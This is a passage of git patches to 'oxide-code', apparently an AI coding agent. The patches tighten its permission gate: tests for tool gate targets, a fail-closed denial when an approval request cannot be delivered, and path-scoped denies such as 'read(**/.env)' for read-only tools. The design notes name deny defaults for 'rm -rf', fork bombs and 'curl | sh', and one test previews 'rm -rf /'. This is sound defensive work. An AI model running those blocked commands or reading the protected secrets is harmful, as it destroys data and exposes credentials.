`Some` whenever either layer set rules. Append (not replace) keeps a higher-precedence layer -/// widening rather than discarding the lower layer's rules. +/// `Some` whenever either layer set rules. Append (not replace) keeps each layer's rules in effect +/// rather than discarding the lower layer's. fn append_rules(base: Option>, other: Option>) -> Option> { match (base, other) { (Some(mut b), Some(o)) => { diff --git a/crates/oxide-code/src/permission.rs b/crates/oxide-code/src/permission.rs index dad385a5..e43faf44 100644 --- a/crates/oxide-code/src/permission.rs +++ b/crates/oxide-code/src/permission.rs @@ -33,7 +33,7 @@ pub(crate) enum Mode { } impl Mode { - /// Every mode in display order, for the future `/permission` picker. Test-only until then. + /// Every mode in display order, for the `/permission` picker. #[cfg(test)] pub(crate) const ALL: [Self; 3] = [Self::Auto, Self::Plan, Self::Yolo]; pub(crate) const VALID_VALUES: &str = "auto, plan, yolo"; diff --git a/docs/design/README.md b/docs/design/README.md index 80c1aa2d..92b2df8a 100644 --- a/docs/design/README.md +++ b/docs/design/README.md @@ -28,10 +28,10 @@ Organized by topic. Each subdirectory mirrors the corresponding directory in [`d ## Tools -| Document | Description | -| ---------------------------------------- | -------------------------------------------------- | -| [Output Truncation](tools/truncation.md) | Per-tool view-shape caps + centralized byte-budget | -| [Permissions](tools/permissions.md) | Tiered allow / ask / deny gate, modes, classifier | +| Document | Description | +| ---------------------------------------- | --------------------------------------------------- | +| [Output Truncation](tools/truncation.md) | Per-tool view-shape caps + centralized byte-budget | +| [Permissions](tools/permissions.md) | Tiered allow / ask / deny gate, modes, rule grammar | ## Terminal UI diff --git a/docs/design/tools/permissions.md b/docs/design/tools/permissions.md index 5ab52379..67ffc38d 100644 --- a/docs/design/tools/permissions.md +++ b/docs/design/tools/permissions.md @@ -6,7 +6,7 @@ Companion docs: [research/tools/permissions.md](../../research/tools/permissions ## Modes -A mode sets the standing posture, shaped like the `Effort` enum (`ALL` / `as_str` / `Display` / `FromStr`) and cycled the same way `/effort` is. +A mode sets the standing posture, shaped like the `Effort` enum (`ALL` / `as_str` / `Display` / `FromStr`) so it threads through config and a future `/permission` control the same way `effort` does. - **`auto`** (default): the tiered pipeline below. The gate is on out of the box, flipping today's unchecked behavior. - **`plan`**: read-only analysis. Read-only tools allow; every mutating tool denies, including `bash`, which cannot be statically proven side-effect-free. @@ -14,13 +14,14 @@ A mode sets the standing posture, shaped like the `Effort` enum (`ALL` / `as_str ## Decision Pipeline -In `auto` mode the gate evaluates a call in fixed order and stops at the first match. +In `auto` mode the gate evaluates a call in fixed order and stops at the first match. This is the shipped Phase 1 pipeline; the classifier (step 6's fallback) and session allow-always are later phases noted inline. 1. **Deny match** (user ∪ project deny rules, including the shipped dangerous-pattern defaults) → deny. 2. **Read-only tool** (`read`, `glob`, `grep`) → allow. -3. **Edit-class call inside the working directory** (`edit` / `write`, target path canonicalized first) → allow. -4. **Allow match** (user allow rules) or **session allow-always** → allow. -5. **Classifier verdict** → `safe` allows and caches; `risky` or unreachable falls through to ask (interactive) or deny (headless). +3. **`plan` mode** → deny every mutating tool. +4. **Edit-class call inside the working directory** (`edit` / `write`, target path canonicalized first) → allow. +5. **Allow match** (user allow rules) → allow. Session allow-always (Phase 3) will also allow here. +6. **Otherwise** → ask (interactive) or deny (headless). The classifier (Phase 2) will slot in here, allowing a `safe` verdict before the fallback. Deny precedes every allow, so an explicit deny is never downgraded by an allow rule or by the classifier. The shipped dangerous-pattern defaults seed the deny set, so a classifier outage cannot let a command matching them through. They hold in `auto`, and `yolo` bypasses every deny rule, including these. A per-rule opt-out within `auto` is deferred. @@ -32,13 +33,13 @@ The `bash` command string is unparsed (`bash -c "..."`), so prefix and wildcard ## Classifier -The classifier mirrors the background title generator: a cheap Haiku model, a JSON-schema `OutputFormat` forcing a `{ "safe": bool, "reason": string }` envelope, prompt clamping, and warn-log-and-fall-back on any HTTP, parse, or timeout failure. It is consulted only at step 5, never for the static cases. +The classifier mirrors the background title generator: a cheap Haiku model, a JSON-schema `OutputFormat` forcing a `{ "safe": bool, "reason": string }` envelope, prompt clamping, and warn-log-and-fall-back on any HTTP, parse, or timeout failure. It is consulted only at step 6, never for the static cases. A verdict caches per session, keyed by tool name plus the verbatim `bash` command string or the canonical `edit` / `write` path, and scoped to the session's resolved policy so a later mode or rule change starts fresh. The cache is process-local and never persisted. On failure the call has already cleared the deny list at step 1, so it falls through to ask interactively or deny in headless mode. ## Approval Round-Trip -When step 5 resolves to ask, the decision rides the existing `user_rx` channel rather than a second channel the turn loop does not poll. Tool dispatch is sequential, so at most one approval is ever outstanding and no id fan-out is needed. +When step 6 resolves to ask, the decision rides the existing `user_rx` channel rather than a second channel the turn loop does not poll. Tool dispatch is sequential, so at most one approval is ever outstanding and no id fan-out is needed. `run_tool_round` threads the tool-use `id` and `sink` into `dispatch_tool_call`, which emits a new `AgentEvent::ApprovalRequested { id, preview }` carrying the id and a small `Clone` preview: an edit diff via `edit::synthesize_chunk`, an all-add diff for `write`, the command string for `bash`. The gate intercepts before `tools.run`, the same place the parse-error short-circuit already returns a synthetic `ToolOutput`. It awaits a decision in a sibling of `await_unless_aborted`: the select-loop still maps `Cancel` → `Cancelled` and `Quit` → `Quit`, still buffers a queued `SubmitPrompt` into `pending`, and matches a new `UserAction::ApprovalDecision { id, decision }`. A decision whose id does not match the outstanding call is ignored, and the wait future is cancel-safe by drop. @@ -55,27 +56,27 @@ deny = ["bash(rm -rf:*)", "write(.git/**)"] `OX_PERMISSION_MODE` overrides the mode with the same empty-env-falls-through and parse-error-propagates behavior `effort` uses, so a typo fails loudly rather than defaulting permissive. The block adds a `PermissionFileConfig` to `FileConfig` with `deny_unknown_fields`, merged through `merge_section`, and resolved in `Config::load` after the compaction block. -The shipped deny defaults cover catastrophic commands (`rm -rf` of broad roots, disk writes, fork bombs, `curl | sh`) and metadata paths (`write(.git/**)`, `write(.ox/**)`), so step 3's in-cwd allow cannot create a new file under those paths without first clearing step 1. +The shipped deny defaults cover catastrophic commands (`rm -rf` of broad roots, disk writes, fork bombs, `curl | sh`) and metadata paths (`write(.git/**)`, `write(.ox/**)`), so step 4's in-cwd allow cannot create a new file under those paths without first clearing step 1. A checked-in `ox.toml` is untrusted, exactly like the credentials `reject_project_secrets` already blocks, so a project file may set only `deny`. Setting `mode` or `allow` there is rejected with a message pointing to user config. The merge appends project `deny` onto the user deny set, so a repo can restrict itself but never widen what the user allowed. ## Headless Behavior -In `-p` / `--no-tui` runs there is no human to prompt, so a would-ask call resolves against the classifier alone: `safe` allows, `risky` or unreachable denies. The deny list and the classifier are the whole boundary here, with no human fallback, so a headless run assumes an already-trusted invocation. The model sees a synthetic denial and can retry. +In `-p` / `--no-tui` runs there is no human to prompt, so a would-ask call denies directly: the gate carries an `interactive` flag the modal-less surfaces set to false, and `check_permission` turns an `Ask` verdict into a synthetic denial. The deny list is the whole boundary here, with no human fallback, so a headless run assumes an already-trusted invocation. The model sees the denial and can retry. Phase 2 will insert the classifier ahead of this fallback, so a `safe` verdict allows before the deny. ## Tool Risk Classes Risk is a new method on the `Tool` trait, so each tool declares its own class. The three classes are read-only (`read`, `glob`, `grep`), edit-class (`edit`, `write`), and execute (`bash`). -`edit` and `write` share a class but differ in blast radius. `edit` requires the file to exist and to have been read, so it cannot create files. `write` can create brand-new files and parent directories without a prior Read, while overwriting an existing file still goes through the tracker gate. The step-3 cwd check operates on each call's target path, the canonicalized parent for `write`, so the two share one risk class. +`edit` and `write` share a class but differ in blast radius. `edit` requires the file to exist and to have been read, so it cannot create files. `write` can create brand-new files and parent directories without a prior Read, while overwriting an existing file still goes through the tracker gate. The step-4 cwd check operates on each call's target path, canonicalized (or resolved through its nearest existing parent when the file is new), so the two share one risk class. ## Phasing Each phase ships independently. -1. **Static tiers, modal, and modes.** The deny / read-only / cwd / allow pipeline, the `ApprovalModal` plus the `ModalStack` cancel hook, the mode enum, and config wiring. Fully deterministic and offline, with step 5 resolving straight to ask. -2. **Classifier.** Insert the Haiku verdict and the per-session cache at step 5. -3. **Session allow-always.** The in-memory "don't ask again this session" map at step 4, mirroring `FileTracker`. +1. **Static tiers, modal, and modes.** The deny / read-only / cwd / allow pipeline, the `ApprovalModal` plus the `ModalStack` cancel hook, the mode enum, and config wiring. Fully deterministic and offline, with step 6 resolving straight to ask. +2. **Classifier.** Insert the Haiku verdict and the per-session cache at step 6. +3. **Session allow-always.** The in-memory "don't ask again this session" map at step 5, mirroring `FileTracker`. ## Design Decisions From 29ea8a454e9f3aae5c4798e59a76e856b87b01b2 Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Fri, 26 Jun 2026 11:24:32 +0800 Subject: [PATCH 14/16] test(permission): cover tool gate methods and the clear-to-deny path The per-tool gate methods (`gate_target`, `approval_preview`, `risk_class`) and the session-swap clear that resolves a pending approval to Deny had no direct coverage, so a regression in any would pass CI. Add tests for each: command / path extraction including the missing-field None branch, the edit and write diff previews, the read-only risk classes, and the `clear_modals` cancel-hook deny reaching the agent channel. --- crates/oxide-code/src/tool/bash.rs | 20 +++++++++++++ crates/oxide-code/src/tool/edit.rs | 45 +++++++++++++++++++++++++++++ crates/oxide-code/src/tool/glob.rs | 8 +++++ crates/oxide-code/src/tool/grep.rs | 8 +++++ crates/oxide-code/src/tool/read.rs | 9 ++++++ crates/oxide-code/src/tool/write.rs | 45 +++++++++++++++++++++++++++++ crates/oxide-code/src/tui/app.rs | 29 +++++++++++++++++++ 7 files changed, 164 insertions(+) diff --git a/crates/oxide-code/src/tool/bash.rs b/crates/oxide-code/src/tool/bash.rs index 82a38ed2..0e3a8db4 100644 --- a/crates/oxide-code/src/tool/bash.rs +++ b/crates/oxide-code/src/tool/bash.rs @@ -318,9 +318,29 @@ fn kill_process_group(_pgid: Option) {} #[cfg(test)] mod tests { + use std::path::Path; + use super::*; + use crate::permission::GateTarget; use tokio::io::AsyncWriteExt as _; + // ── gate_target ── + + #[test] + fn gate_target_extracts_the_command() { + let target = + BashTool.gate_target(&serde_json::json!({"command": "ls -la"}), Path::new("/")); + assert!(matches!(target, GateTarget::Command(c) if c == "ls -la")); + } + + #[test] + fn gate_target_missing_command_is_none() { + // A call with no `command` field falls to `None`, which only a tool-wide rule matches, so a + // malformed bash call cannot slip past a command-specific allow. + let target = BashTool.gate_target(&serde_json::json!({}), Path::new("/")); + assert!(matches!(target, GateTarget::None)); + } + // ── run ── #[tokio::test] diff --git a/crates/oxide-code/src/tool/edit.rs b/crates/oxide-code/src/tool/edit.rs index 70b92e15..51da1785 100644 --- a/crates/oxide-code/src/tool/edit.rs +++ b/crates/oxide-code/src/tool/edit.rs @@ -424,10 +424,55 @@ mod tests { use indoc::indoc; use super::*; + use crate::agent::event::ApprovalBody; use crate::file_tracker::{ LastView, MAX_TRACKED_FILE_SIZE, testing::{tracker, tracker_seeded}, }; + use crate::permission::GateTarget; + + // ── gate_target ── + + #[test] + fn gate_target_resolves_the_file_path_against_cwd() { + let dir = tempfile::tempdir().unwrap(); + let cwd = std::fs::canonicalize(dir.path()).unwrap(); + std::fs::write(cwd.join("a.rs"), "x").unwrap(); + let tool = EditTool::new(Arc::new(FileTracker::default())); + + let target = tool.gate_target(&serde_json::json!({"file_path": "a.rs"}), &cwd); + let GateTarget::Path { relative, .. } = target else { + panic!("expected a path target"); + }; + assert_eq!(relative.as_deref(), Some("a.rs")); + } + + #[test] + fn gate_target_missing_file_path_is_none() { + let tool = EditTool::new(Arc::new(FileTracker::default())); + let target = tool.gate_target(&serde_json::json!({}), Path::new("/")); + assert!(matches!(target, GateTarget::None)); + } + + // ── approval_preview ── + + #[test] + fn approval_preview_renders_old_and_new_as_a_diff() { + let tool = EditTool::new(Arc::new(FileTracker::default())); + let preview = tool.approval_preview(&serde_json::json!({ + "file_path": "src/main.rs", + "old_string": "let a = 1;", + "new_string": "let a = 2;", + })); + + assert!(preview.title.contains("src/main.rs")); + let ApprovalBody::Diff(chunks) = preview.body else { + panic!("edit preview should be a diff"); + }; + let chunk = &chunks[0]; + assert!(chunk.old.iter().any(|l| l.text.contains("let a = 1;"))); + assert!(chunk.new.iter().any(|l| l.text.contains("let a = 2;"))); + } // ── result_view ── diff --git a/crates/oxide-code/src/tool/glob.rs b/crates/oxide-code/src/tool/glob.rs index 91c00af9..8db40f4d 100644 --- a/crates/oxide-code/src/tool/glob.rs +++ b/crates/oxide-code/src/tool/glob.rs @@ -254,6 +254,14 @@ mod tests { use indoc::{formatdoc, indoc}; use super::*; + use crate::tool::RiskClass; + + // ── risk_class ── + + #[test] + fn risk_class_is_read_only() { + assert_eq!(GlobTool.risk_class(), RiskClass::ReadOnly); + } // ── run ── diff --git a/crates/oxide-code/src/tool/grep.rs b/crates/oxide-code/src/tool/grep.rs index 47814090..9bc4193c 100644 --- a/crates/oxide-code/src/tool/grep.rs +++ b/crates/oxide-code/src/tool/grep.rs @@ -619,6 +619,7 @@ mod tests { use indoc::indoc; use super::*; + use crate::tool::RiskClass; fn params(pattern: &str) -> GrepParams<'_> { GrepParams { @@ -632,6 +633,13 @@ mod tests { } } + // ── risk_class ── + + #[test] + fn risk_class_is_read_only() { + assert_eq!(GrepTool.risk_class(), RiskClass::ReadOnly); + } + // ── run ── #[tokio::test] diff --git a/crates/oxide-code/src/tool/read.rs b/crates/oxide-code/src/tool/read.rs index fbe8982d..e1ede675 100644 --- a/crates/oxide-code/src/tool/read.rs +++ b/crates/oxide-code/src/tool/read.rs @@ -292,6 +292,15 @@ mod tests { use super::*; use crate::file_tracker::{GatePurpose, MAX_TRACKED_FILE_SIZE, testing::tracker}; + use crate::tool::RiskClass; + + // ── risk_class ── + + #[test] + fn risk_class_is_read_only() { + let tool = ReadTool::new(tracker()); + assert_eq!(tool.risk_class(), RiskClass::ReadOnly); + } // ── run ── diff --git a/crates/oxide-code/src/tool/write.rs b/crates/oxide-code/src/tool/write.rs index 57972f36..399f868a 100644 --- a/crates/oxide-code/src/tool/write.rs +++ b/crates/oxide-code/src/tool/write.rs @@ -197,10 +197,55 @@ async fn check_gate(file_path: &Path, path: &str, tracker: &FileTracker) -> Resu #[cfg(test)] mod tests { use super::*; + use crate::agent::event::ApprovalBody; use crate::file_tracker::{ LastView, MAX_TRACKED_FILE_SIZE, testing::{seed_full_read, tracker}, }; + use crate::permission::GateTarget; + + // ── gate_target ── + + #[test] + fn gate_target_resolves_a_brand_new_file_inside_cwd() { + // A write target need not exist yet, but it still resolves relative to cwd so the inside-cwd + // allow applies to new-file writes. + let dir = tempfile::tempdir().unwrap(); + let cwd = std::fs::canonicalize(dir.path()).unwrap(); + let tool = WriteTool::new(Arc::new(FileTracker::default())); + + let target = tool.gate_target(&serde_json::json!({"file_path": "new/file.rs"}), &cwd); + let GateTarget::Path { relative, .. } = target else { + panic!("expected a path target"); + }; + assert_eq!(relative.as_deref(), Some("new/file.rs")); + } + + #[test] + fn gate_target_missing_file_path_is_none() { + let tool = WriteTool::new(Arc::new(FileTracker::default())); + let target = tool.gate_target(&serde_json::json!({}), std::path::Path::new("/")); + assert!(matches!(target, GateTarget::None)); + } + + // ── approval_preview ── + + #[test] + fn approval_preview_renders_content_as_an_all_added_diff() { + let tool = WriteTool::new(Arc::new(FileTracker::default())); + let preview = tool.approval_preview(&serde_json::json!({ + "file_path": "src/new.rs", + "content": "fn main() {}", + })); + + assert!(preview.title.contains("src/new.rs")); + let ApprovalBody::Diff(chunks) = preview.body else { + panic!("write preview should be a diff"); + }; + let chunk = &chunks[0]; + assert!(chunk.old.is_empty(), "a new file has no removed lines"); + assert!(chunk.new.iter().any(|l| l.text.contains("fn main() {}"))); + } // ── run ── diff --git a/crates/oxide-code/src/tui/app.rs b/crates/oxide-code/src/tui/app.rs index 641df15f..6b937bac 100644 --- a/crates/oxide-code/src/tui/app.rs +++ b/crates/oxide-code/src/tui/app.rs @@ -1430,6 +1430,35 @@ mod tests { assert_eq!(app.input.lines(), vec!["y".to_owned()]); } + #[test] + fn clear_modals_resolves_a_pending_approval_to_deny() { + // A session swap clears the stack while an approval is outstanding. The cancel hook's Deny + // must reach the agent so the blocked turn is not stranded waiting for a decision. + use crate::agent::event::{ApprovalBody, ApprovalDecision, ApprovalPreview}; + + let (mut app, mut rx, _agent_tx) = test_app(None); + app.push_approval_modal( + "call-1".to_owned(), + ApprovalPreview { + title: "Bash(rm -rf /)".to_owned(), + body: ApprovalBody::Command("rm -rf /".to_owned()), + }, + ); + + app.clear_modals(); + + let forwarded = rx + .try_recv() + .expect("clear must forward the cancel-hook deny"); + assert!(matches!( + forwarded, + UserAction::ApprovalDecision { + id, + decision: ApprovalDecision::Deny, + } if id == "call-1" + )); + } + // ── handle_esc ── #[tokio::test] From 9c816ec20e936520f12434b01af87225eb535e5b Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Fri, 26 Jun 2026 11:50:17 +0800 Subject: [PATCH 15/16] fix(agent): deny when an approval request cannot be delivered The approval request rode `sink.emit`, which logs and continues if the event channel is full or closed. The gate then unconditionally entered `await_approval`, so a dropped request left the turn blocked on a decision no modal could ever send. Switch to `sink.send` and fail closed with a synthetic denial when delivery fails, turning a hang into a recoverable refusal. --- crates/oxide-code/src/agent.rs | 45 ++++++++++++++++++++++++---- crates/oxide-code/src/agent/event.rs | 12 ++++++++ 2 files changed, 51 insertions(+), 6 deletions(-) diff --git a/crates/oxide-code/src/agent.rs b/crates/oxide-code/src/agent.rs index b4d61006..a711fef9 100644 --- a/crates/oxide-code/src/agent.rs +++ b/crates/oxide-code/src/agent.rs @@ -531,7 +531,8 @@ async fn dispatch_tool_call( /// Runs the permission gate for one call. Returns `Ok(None)` to proceed, `Ok(Some(output))` with a /// synthetic denial the model sees as a tool result, or an abort if the user cancelled / quit while /// the approval was outstanding. An `ask` verdict emits [`AgentEvent::ApprovalRequested`] and blocks -/// on the matching [`UserAction::ApprovalDecision`]. In a non-interactive session it denies instead. +/// on the matching [`UserAction::ApprovalDecision`], denying if the event cannot be delivered (no +/// modal could answer it). In a non-interactive session it denies instead. #[expect( clippy::too_many_arguments, reason = "the gate threads the same per-call inputs dispatch already carries" @@ -561,13 +562,18 @@ async fn check_permission( crate::permission::Decision::Deny => Ok(Some(denied_output(name))), crate::permission::Decision::Ask if !gate.interactive => Ok(Some(denied_output(name))), crate::permission::Decision::Ask => { - sink.emit( - AgentEvent::ApprovalRequested { + // The approval request is a control-plane event: if it can't be delivered, no modal will + // exist to answer it and `await_approval` would block forever. Fail closed on a send + // error rather than stranding the turn. + if sink + .send(AgentEvent::ApprovalRequested { id: id.to_owned(), preview: tool.approval_preview(input), - }, - "approval-requested", - ); + }) + .is_err() + { + return Ok(Some(denied_output(name))); + } match await_approval(id, user_rx, pending).await? { ApprovalDecision::Approve => Ok(None), ApprovalDecision::Deny => Ok(Some(denied_output(name))), @@ -2974,6 +2980,33 @@ data: {"type":"message_stop"} ); } + #[tokio::test] + async fn check_permission_ask_undeliverable_event_fails_closed() { + // If the approval event can't be delivered, no modal can answer it, so the gate must deny + // rather than block in await_approval forever. An inert receiver would hang on a regression. + let tools = ToolRegistry::new(vec![Box::new(EchoTool)]); + let sink = crate::agent::event::FailingSink; + let gate = gate_with(crate::permission::Mode::Auto, &[], &[], true); + let (_tx, mut rx) = mpsc::channel::(1); + + let denial = check_permission( + &tools, + "tool_1", + "echo", + &json!({}), + &sink, + &mut rx, + &mut Vec::new(), + &gate, + ) + .await + .expect("an undeliverable approval resolves without abort") + .expect("an undeliverable approval yields a synthetic denial"); + + assert!(denial.is_error); + assert!(denial.content.contains("denied by the permission policy")); + } + #[tokio::test] async fn check_permission_ask_deny_decision_yields_a_synthetic_denial() { let tools = ToolRegistry::new(vec![Box::new(EchoTool)]); diff --git a/crates/oxide-code/src/agent/event.rs b/crates/oxide-code/src/agent/event.rs index 9f22410b..6749dbf9 100644 --- a/crates/oxide-code/src/agent/event.rs +++ b/crates/oxide-code/src/agent/event.rs @@ -347,6 +347,18 @@ impl AgentSink for CapturingSink { } } +/// An [`AgentSink`] whose `send` always fails, for exercising the fail-closed paths that depend on +/// a control-plane event reaching the UI. +#[cfg(test)] +pub(crate) struct FailingSink; + +#[cfg(test)] +impl AgentSink for FailingSink { + fn send(&self, _event: AgentEvent) -> Result<()> { + anyhow::bail!("sink closed") + } +} + #[cfg(test)] mod tests { use super::*; From 79f35628823e2ddc607bea3418966873492d88dd Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Fri, 26 Jun 2026 11:57:14 +0800 Subject: [PATCH 16/16] fix(tool): gate read-only tools on a path target so denies apply `read` / `grep` / `glob` never overrode `gate_target`, so it returned `None`. A path-scoped deny like `read(**/.env)` could not match, and the read-only auto-allow then let the call through, so a user-configured deny silently did nothing. Extract the file path for `read` and the search root (defaulting to cwd) for `grep` / `glob`, so a deny is consulted before the read-only allow. Add an end-to-end test running the real tool gate target through `Policy::decide`, which the hand-built-target unit test missed. --- crates/oxide-code/src/tool/glob.rs | 26 ++++++++++++++++ crates/oxide-code/src/tool/grep.rs | 26 ++++++++++++++++ crates/oxide-code/src/tool/read.rs | 49 ++++++++++++++++++++++++++++++ docs/design/tools/permissions.md | 4 +-- 4 files changed, 103 insertions(+), 2 deletions(-) diff --git a/crates/oxide-code/src/tool/glob.rs b/crates/oxide-code/src/tool/glob.rs index 8db40f4d..92ba4af2 100644 --- a/crates/oxide-code/src/tool/glob.rs +++ b/crates/oxide-code/src/tool/glob.rs @@ -25,6 +25,17 @@ impl Tool for GlobTool { super::RiskClass::ReadOnly } + fn gate_target( + &self, + input: &serde_json::Value, + cwd: &std::path::Path, + ) -> crate::permission::GateTarget { + // The gated target is the search root (the `path` arg, defaulting to cwd), so a path-scoped + // deny can block listing under a protected directory. + let path = extract_input_field(input, "path").unwrap_or("."); + crate::permission::GateTarget::for_path(path, cwd) + } + fn input_schema(&self) -> serde_json::Value { serde_json::json!({ "type": "object", @@ -263,6 +274,21 @@ mod tests { assert_eq!(GlobTool.risk_class(), RiskClass::ReadOnly); } + // ── gate_target ── + + #[test] + fn gate_target_defaults_the_search_root_to_cwd() { + // With no `path`, the search root is cwd, so a deny scoped to the project root still applies. + let dir = tempfile::tempdir().unwrap(); + let cwd = std::fs::canonicalize(dir.path()).unwrap(); + + let target = GlobTool.gate_target(&serde_json::json!({"pattern": "*.rs"}), &cwd); + let crate::permission::GateTarget::Path { relative, .. } = target else { + panic!("expected a path target"); + }; + assert_eq!(relative.as_deref(), Some("")); + } + // ── run ── #[tokio::test] diff --git a/crates/oxide-code/src/tool/grep.rs b/crates/oxide-code/src/tool/grep.rs index 9bc4193c..b3f35b12 100644 --- a/crates/oxide-code/src/tool/grep.rs +++ b/crates/oxide-code/src/tool/grep.rs @@ -30,6 +30,17 @@ impl Tool for GrepTool { super::RiskClass::ReadOnly } + fn gate_target( + &self, + input: &serde_json::Value, + cwd: &std::path::Path, + ) -> crate::permission::GateTarget { + // The gated target is the search root (the `path` arg, defaulting to cwd), so a path-scoped + // deny can block searching under a protected directory. + let path = extract_input_field(input, "path").unwrap_or("."); + crate::permission::GateTarget::for_path(path, cwd) + } + fn input_schema(&self) -> serde_json::Value { serde_json::json!({ "type": "object", @@ -640,6 +651,21 @@ mod tests { assert_eq!(GrepTool.risk_class(), RiskClass::ReadOnly); } + // ── gate_target ── + + #[test] + fn gate_target_defaults_the_search_root_to_cwd() { + // With no `path`, the search root is cwd, so a deny scoped to the project root still applies. + let dir = tempfile::tempdir().unwrap(); + let cwd = std::fs::canonicalize(dir.path()).unwrap(); + + let target = GrepTool.gate_target(&serde_json::json!({"pattern": "x"}), &cwd); + let crate::permission::GateTarget::Path { relative, .. } = target else { + panic!("expected a path target"); + }; + assert_eq!(relative.as_deref(), Some("")); + } + // ── run ── #[tokio::test] diff --git a/crates/oxide-code/src/tool/read.rs b/crates/oxide-code/src/tool/read.rs index e1ede675..5baf6673 100644 --- a/crates/oxide-code/src/tool/read.rs +++ b/crates/oxide-code/src/tool/read.rs @@ -43,6 +43,16 @@ impl Tool for ReadTool { super::RiskClass::ReadOnly } + fn gate_target( + &self, + input: &serde_json::Value, + cwd: &std::path::Path, + ) -> crate::permission::GateTarget { + extract_input_field(input, "file_path") + .map(|p| crate::permission::GateTarget::for_path(p, cwd)) + .unwrap_or_default() + } + fn input_schema(&self) -> serde_json::Value { serde_json::json!({ "type": "object", @@ -292,6 +302,7 @@ mod tests { use super::*; use crate::file_tracker::{GatePurpose, MAX_TRACKED_FILE_SIZE, testing::tracker}; + use crate::permission::{Decision, GateTarget, Mode, Policy}; use crate::tool::RiskClass; // ── risk_class ── @@ -302,6 +313,44 @@ mod tests { assert_eq!(tool.risk_class(), RiskClass::ReadOnly); } + // ── gate_target ── + + #[test] + fn gate_target_extracts_the_file_path() { + let dir = tempfile::tempdir().unwrap(); + let cwd = std::fs::canonicalize(dir.path()).unwrap(); + std::fs::write(cwd.join(".env"), "SECRET=1").unwrap(); + let tool = ReadTool::new(tracker()); + + let target = tool.gate_target(&serde_json::json!({"file_path": ".env"}), &cwd); + let GateTarget::Path { relative, .. } = target else { + panic!("expected a path target"); + }; + assert_eq!(relative.as_deref(), Some(".env")); + } + + #[test] + fn gate_target_missing_file_path_is_none() { + let tool = ReadTool::new(tracker()); + let target = tool.gate_target(&serde_json::json!({}), std::path::Path::new("/")); + assert!(matches!(target, GateTarget::None)); + } + + #[test] + fn path_scoped_deny_beats_the_read_only_auto_allow_end_to_end() { + // The regression the hand-built-target unit test missed: a real `read` call must resolve its + // own gate target so `deny = ["read(**/.env)"]` actually fires before the read-only allow. + let dir = tempfile::tempdir().unwrap(); + let cwd = std::fs::canonicalize(dir.path()).unwrap(); + std::fs::write(cwd.join(".env"), "SECRET=1").unwrap(); + let tool = ReadTool::new(tracker()); + let policy = Policy::resolve(Mode::Auto, &[], &["read(**/.env)".to_owned()]).unwrap(); + + let target = tool.gate_target(&serde_json::json!({"file_path": ".env"}), &cwd); + let decision = policy.decide(tool.name(), tool.risk_class(), &target.as_target()); + assert_eq!(decision, Decision::Deny); + } + // ── run ── #[tokio::test] diff --git a/docs/design/tools/permissions.md b/docs/design/tools/permissions.md index 67ffc38d..49262702 100644 --- a/docs/design/tools/permissions.md +++ b/docs/design/tools/permissions.md @@ -66,7 +66,7 @@ In `-p` / `--no-tui` runs there is no human to prompt, so a would-ask call denie ## Tool Risk Classes -Risk is a new method on the `Tool` trait, so each tool declares its own class. The three classes are read-only (`read`, `glob`, `grep`), edit-class (`edit`, `write`), and execute (`bash`). +Risk is a new method on the `Tool` trait, so each tool declares its own class. The three classes are read-only (`read`, `glob`, `grep`), edit-class (`edit`, `write`), and execute (`bash`). A read-only tool auto-allows at step 2, but it still extracts a gate target (the file for `read`, the search root for `grep` / `glob`) so a path-scoped deny at step 1 fires first. `edit` and `write` share a class but differ in blast radius. `edit` requires the file to exist and to have been read, so it cannot create files. `write` can create brand-new files and parent directories without a prior Read, while overwriting an existing file still goes through the tracker gate. The step-4 cwd check operates on each call's target path, canonicalized (or resolved through its nearest existing parent when the file is new), so the two share one risk class. @@ -101,7 +101,7 @@ Each phase ships independently. - Per-rule opt-out of a shipped dangerous-pattern deny default within `auto`; today only `yolo` bypasses them. - Persisted project allowlists via an explicit confirmed writer (`util/fs.rs::atomic_write_private`). - Editable bash-prefix widening in the approval modal ("don't ask again for `cargo *`"). -- Read confidentiality scoping: `read` can open any absolute path, gated nowhere today. +- Read confidentiality scoping beyond path-glob denies: `read` / `grep` / `glob` honor a path-scoped deny (e.g. `read(**/.env)`), but a read-only call with no matching deny still allows, and `grep` / `glob` gate on the search root rather than each matched file. - Rule env vars beyond `OX_PERMISSION_MODE`. - Resume survival of session allow-always through the session actor.